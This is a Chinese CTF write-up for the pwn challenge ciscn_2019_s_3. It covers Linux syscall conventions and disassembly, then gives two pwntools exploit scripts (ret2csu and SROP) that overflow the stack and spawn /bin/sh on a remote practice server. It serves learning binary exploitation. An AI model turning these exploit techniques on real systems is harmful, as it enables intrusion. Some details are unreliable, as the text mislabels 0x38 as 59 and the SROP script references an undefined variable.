ciscn_2019_s_3(系统调用)

这才是第一次接触系统调用的题,只不过当时不知道,现在又做到了,想起来当初接触过。这是以前写的转过来。

这题学到的非常多,接触了一些其它的解题方法

系统调用

  • 系统调用:实际上是0x80号中断对应的中断处理程序的子程序。简单来说,在linux系统上,0x80中断是系统调用的统一入口(这里讲的是32位)。某个具体的系统调用是这个中断处理程序的子程序,进入具体某个系统调用是通过内核定义的系统调用号码来实现的。

  • 系统调用号:每个系统调用在内核里面都对应一个号码,这个号码是在 /usr/include/i386-linux-gnu/asm/unistd_32.h 中定义的。

简单来说,系统调用是通过某个入口来执行的子程序,执行完之后,返回上层应用程序的过程。32位和64位的系统调用是不同的:

  • 32位:
    传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器,通过使用int 0x80中断进行系统调用

  • 64位:
    传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器,系统调用是通过syscall来调用的

接下来看题:
file
64位,没开Canary,没开PIE

main函数里只调用了vuln(),这里面就是通过系统调用的read(0, rsp+buf, 0x400) 和 write(1, rsp+buf, 0x30),read时rax没赋值为0。
file
vuln()

.text:00000000004004ED ; =============== S U B R O U T I N E =======================================
.text:00000000004004ED
.text:00000000004004ED ; Attributes: bp-based frame
.text:00000000004004ED
.text:00000000004004ED                 public vuln
.text:00000000004004ED vuln            proc near               ; CODE XREF: main+14↓p
.text:00000000004004ED
.text:00000000004004ED buf             = byte ptr -10h
.text:00000000004004ED
.text:00000000004004ED ; __unwind {
.text:00000000004004ED                 push    rbp
.text:00000000004004EE                 mov     rbp, rsp
.text:00000000004004F1                 xor     rax, rax #使rax为0
.text:00000000004004F4                 mov     edx, 400h       ; count
.text:00000000004004F9                 lea     rsi, [rsp+buf]  ; buf
.text:00000000004004FE                 mov     rdi, rax        ; fd
.text:0000000000400501                 syscall                 ; LINUX - sys_read  #read(0,rsp+buf,0x400)
.text:0000000000400503                 mov     rax, 1
.text:000000000040050A                 mov     edx, 30h        ; count
.text:000000000040050F                 lea     rsi, [rsp+buf]  ; buf
.text:0000000000400514                 mov     rdi, rax        ; fd
.text:0000000000400517                 syscall                 ; LINUX - sys_write  #write(1,rsp+buf,0x30)
.text:0000000000400519                 retn
.text:0000000000400519 vuln            endp ; sp-analysis failed

还有一个gadget函数:

.text:00000000004004D6 ; =============== S U B R O U T I N E =======================================
.text:00000000004004D6
.text:00000000004004D6 ; Attributes: bp-based frame
.text:00000000004004D6
.text:00000000004004D6                 public gadgets
.text:00000000004004D6 gadgets         proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6                 push    rbp
.text:00000000004004D7                 mov     rbp, rsp
.text:00000000004004DA                 mov     rax, 0Fh
.text:00000000004004E1                 retn
.text:00000000004004E1 gadgets         endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2                 mov     rax, 3Bh
.text:00000000004004E9                 retn
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA                 db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB                 pop     rbp
.text:00000000004004EC                 retn
.text:00000000004004EC ; } // starts at 4004D6

这里是两个 rax 赋值:
0x38 = 59:sys_execve
0xf = 15:sys_rt_sigreturn

而系统调用execve(“/bin/sh”,0,0),需要这样的布局
rax==59 #系统调用号
rdi==“/bin/sh”
rsi==0 #控制r14来传值
rdx==0 #控制r13来传值

64位传参是用rdi,rsi,rdx从左到右传参的,所以需要控制寄存器的值和/bin/sh的地址。

用 read 输入 /bin/sh,再填充溢出,write 是会打印出 0x30 大小的数据,这里在打印的 0x20 到 0x28 是一个地址,这个地址是栈上面的,所以只要算出这个地址和 binsh 地址的相对偏移即可,也可以直接调试出来。

_libc_csu_init

用这个是因为没有可pop rdx的gadget:

关于__libc_csu_init,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以基本都有这个函数。汇编码如下:

0000000000400540 public __libc_csu_init
.text:0000000000400540 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:0000000000400540 ; __unwind {.text:0000000000400540 push r15
.text:0000000000400542 push r14
.text:0000000000400544 mov r15d, edi
.text:0000000000400547 push r13
.text:0000000000400549 push r12
.text:000000000040054B lea r12, __frame_dummy_init_array_entry
.text:0000000000400552 push rbp
.text:0000000000400553 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040055A push rbx
.text:000000000040055B mov r14, rsi
.text:000000000040055E mov r13, rdx
.text:0000000000400561 sub rbp, r12
.text:0000000000400564 sub rsp, 8
.text:0000000000400568 sar rbp, 3
.text:000000000040056C call _init_proc
.text:0000000000400571 test rbp, rbp
.text:0000000000400574 jz short loc_400596
.text:0000000000400576 xor ebx, ebx
.text:0000000000400578 nop dword ptr [rax+rax+00000000h]
.text:0000000000400580
.text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx,1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 add rsp, 8
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn
.text:00000000004005A4 ; } // starts at 400540.text:00000000004005A4 __libc_csu_init endp

可以看到里面有很多对寄存器的操作,所以能利用这个函数来修改寄存器的值,上面 0x40059A 后面连续 pop rbx,rbp,r12,r13,r14,r15,只用这一段 pop 就可以用栈溢出来控制其内容。

寻址:

syscall,0x400501 和 0x400517 这里两个都可以

EXP:

#_*_coding:utf-8_*_
#/bin/sh
from pwn import *

a=remote('node3.buuoj.cn',27015)
main=0x0004004ED
execve=0x04004E2
pop_rdi=0x4005a3
csu_end=0x40059A
csu_front=0x0400580
sys=0x00400517

#泄露/bin/sh
payloadl1=('/bin/sh\x00').ljust(0x10,"\x00")+p64(main)
a.send(payloadl1)
a.recv(0x20)
sh=u64(a.recv(8))-280 #接收20个字节后的再8个字节才是地址
call_59=sh+0x10 #系统调用号的地址

#getshell
payload2 = '/bin/sh\x00'.ljust(0x10,'a')+p64(execve)
payload2 += p64(csu_end)+p64(0)+p64(1)+p64(call_59)+p64(0)+p64(0)+p64(0)
payload2 += p64(csu_front)
payload2 += 'a'*0x38+p64(pop_rdi)+p64(sh)+p64(sys)
a.sendline(payload2)
a.interactive()

这里是一位大佬的讲解:https://www.cnblogs.com/bhxdn/p/12715671.html

srop

同样也是一种操作寄存器的方法,当可以的gadget无法满足时,以借助signreturn来控制全部的寄存器原理:

  • 程序进行系统调用时,状态会从用户态切换到内核态。而切换的实质是将用户态的寄存器保存。而返回的时候,再重新恢复用户态的寄存器。系统调用signreturn,是内核态恢复到用户态;它的具体操作是从用户的栈中弹出寄存器的值,从而控制寄存器的值。

Srop的详细:https://www.jianshu.com/p/ca4a5dacd1a2

上面说了,signreturn的系统调用号是0xf,同样也是通过系统调用后传寄存器的参再然后调用execve来getshell的

EXP:

#coding:utf-8
from pwn import *
context(os='linux',arch='amd64')
a = remote('node3.buuoj.cn',25702)
csu_front = 0x400580
csu_end = 0x40059A
sigreturn = 0x4004DA
sys = 0x400517
main = 0x4004ED
pop_rdi = 0x4005a3
payload = '/bin/sh\x00'.ljust(0x10,'a') + p64(main)
a.sendline(payload)
a.recv(0x20)
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
sh = stack_addr - 0x118
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys
payload2 = '/bin/sh'.ljust(0x10,'\x00') + p64(sigreturn) + p64(sys) + str(frame)
a.sendline(payload2)
a.interactive()

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据